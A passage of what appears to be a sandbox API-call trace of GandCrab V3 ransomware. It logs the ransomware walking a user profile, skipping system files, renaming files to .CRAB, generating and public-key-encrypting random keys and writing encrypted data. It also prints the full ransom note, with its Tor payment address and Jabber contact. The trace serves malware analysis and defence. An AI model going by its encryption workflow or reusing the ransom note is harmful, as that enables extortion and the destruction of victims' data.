	[0131.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms"
	[0131.968] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.968] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned 114
	[0131.968] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned 114
	[0131.968] lstrlenW (lpString=".regtrans-ms") returned 12
	[0131.968] VirtualAlloc (lpAddress=0x0, dwSize=0x1c, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.968] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".regtrans-ms ") returned 13
	[0131.968] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.968] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned 114
	[0131.968] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned 114
	[0131.968] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="desktop.ini") returned 1
	[0131.968] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="autorun.inf") returned 1
	[0131.968] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="ntuser.dat") returned 1
	[0131.968] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="iconcache.db") returned 1
	[0131.969] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="bootsect.bak") returned 1
	[0131.969] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="boot.ini") returned 1
	[0131.969] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="ntuser.dat.log") returned 1
	[0131.969] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="thumbs.db") returned -1
	[0131.969] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.969] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.969] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms.CRAB") returned 119
	[0131.971] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000001.regtrans-ms")) returned 0x26
	[0131.971] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", dwFileAttributes=0x26) returned 1
	[0131.972] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000001.regtrans-ms.crab")) returned 0
	[0131.972] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.972] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.972] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0131.972] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1
	[0131.972] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1
	[0131.972] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms"
	[0131.972] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.973] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned 114
	[0131.973] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned 114
	[0131.973] lstrlenW (lpString=".regtrans-ms") returned 12
	[0131.973] VirtualAlloc (lpAddress=0x0, dwSize=0x1c, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.973] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".regtrans-ms ") returned 13
	[0131.973] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.973] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned 114
	[0131.973] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned 114
	[0131.973] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="desktop.ini") returned 1
	[0131.973] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="autorun.inf") returned 1
	[0131.973] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="ntuser.dat") returned 1
	[0131.973] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="iconcache.db") returned 1
	[0131.973] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="bootsect.bak") returned 1
	[0131.973] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="boot.ini") returned 1
	[0131.973] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="ntuser.dat.log") returned 1
	[0131.973] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="thumbs.db") returned -1
	[0131.973] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.973] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.974] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms.CRAB") returned 119
	[0131.974] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000002.regtrans-ms")) returned 0x26
	[0131.974] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", dwFileAttributes=0x26) returned 1
	[0131.976] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000002.regtrans-ms.crab")) returned 0
	[0131.976] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.977] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.977] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0131.977] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1
	[0131.977] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1
	[0131.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="ntuser.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini"
	[0131.977] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.977] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini") returned 32
	[0131.977] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini") returned 32
	[0131.977] lstrlenW (lpString=".ini") returned 4
	[0131.977] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.978] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0131.978] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.978] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini") returned 32
	[0131.978] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini") returned 32
	[0131.978] lstrcmpiW (lpString1="ntuser.ini", lpString2="desktop.ini") returned 1
	[0131.978] lstrcmpiW (lpString1="ntuser.ini", lpString2="autorun.inf") returned 1
	[0131.978] lstrcmpiW (lpString1="ntuser.ini", lpString2="ntuser.dat") returned 1
	[0131.978] lstrcmpiW (lpString1="ntuser.ini", lpString2="iconcache.db") returned 1
	[0131.978] lstrcmpiW (lpString1="ntuser.ini", lpString2="bootsect.bak") returned 1
	[0131.978] lstrcmpiW (lpString1="ntuser.ini", lpString2="boot.ini") returned 1
	[0131.978] lstrcmpiW (lpString1="ntuser.ini", lpString2="ntuser.dat.log") returned 1
	[0131.978] lstrcmpiW (lpString1="ntuser.ini", lpString2="thumbs.db") returned -1
	[0131.978] lstrcmpiW (lpString1="ntuser.ini", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.979] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.979] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini.CRAB") returned 37
	[0131.979] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.ini")) returned 0x6
	[0131.979] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini", dwFileAttributes=0x6) returned 1
	[0131.979] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.ini"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.ini.crab")) returned 1
	[0131.980] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.980] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini.CRAB"
	[0131.981] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini.CRAB.CRAB"
	[0131.981] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6e408) returned 1
	[0131.983] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.984] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.984] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.984] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314debc | out: pbBuffer=0x314debc) returned 1
	[0131.984] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.984] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.984] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6e408) returned 1
	[0131.988] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.988] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.989] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.989] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314de98 | out: pbBuffer=0x314de98) returned 1
	[0131.989] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.989] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.989] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.989] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.989] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6eb78) returned 1
	[0131.993] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0x320f890) returned 1
	[0131.993] CryptGetKeyParam (in: hKey=0x320f890, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0131.993] CryptEncrypt (in: hKey=0x320f890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314decc*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314decc*=0x100) returned 1
	[0131.993] GetLastError () returned 0x0
	[0131.993] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0131.993] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e408) returned 1
	[0131.996] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0x320fa10) returned 1
	[0131.996] CryptGetKeyParam (in: hKey=0x320fa10, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0131.997] CryptEncrypt (in: hKey=0x320fa10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314ded0*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314ded0*=0x100) returned 1
	[0131.997] GetLastError () returned 0x0
	[0131.997] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.997] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.ini.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0131.997] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.998] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0131.998] ReadFile (in: hFile=0x3d4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314df14*=0x14, lpOverlapped=0x0) returned 1
	[0132.010] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.010] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.011] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.011] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xffffffec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.011] WriteFile (in: hFile=0x3d4, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314df04*=0x20, lpOverlapped=0x0) returned 1
	[0132.011] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.011] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.018] WriteFile (in: hFile=0x3d4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0132.018] WriteFile (in: hFile=0x3d4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0132.018] WriteFile (in: hFile=0x3d4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314df04*=0x8, lpOverlapped=0x0) returned 1
	[0132.018] CloseHandle (hObject=0x3d4) returned 1
	[0132.018] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.019] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.019] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.019] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.019] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.019] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.020] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0132.020] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1
	[0132.020] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1
	[0132.020] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive"
	[0132.020] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\"
	[0132.020] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0132.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0132.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0132.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0132.020] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0132.020] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0132.020] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0132.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0132.020] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0132.020] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0132.020] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.021] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\\\CRAB-DECRYPT.txt") returned 48
	[0132.021] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\onedrive\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0132.033] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0132.033] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0132.033] CloseHandle (hObject=0x3d4) returned 1
	[0132.034] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.034] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned 31
	[0132.034] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*"
	[0132.034] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x320dfd0
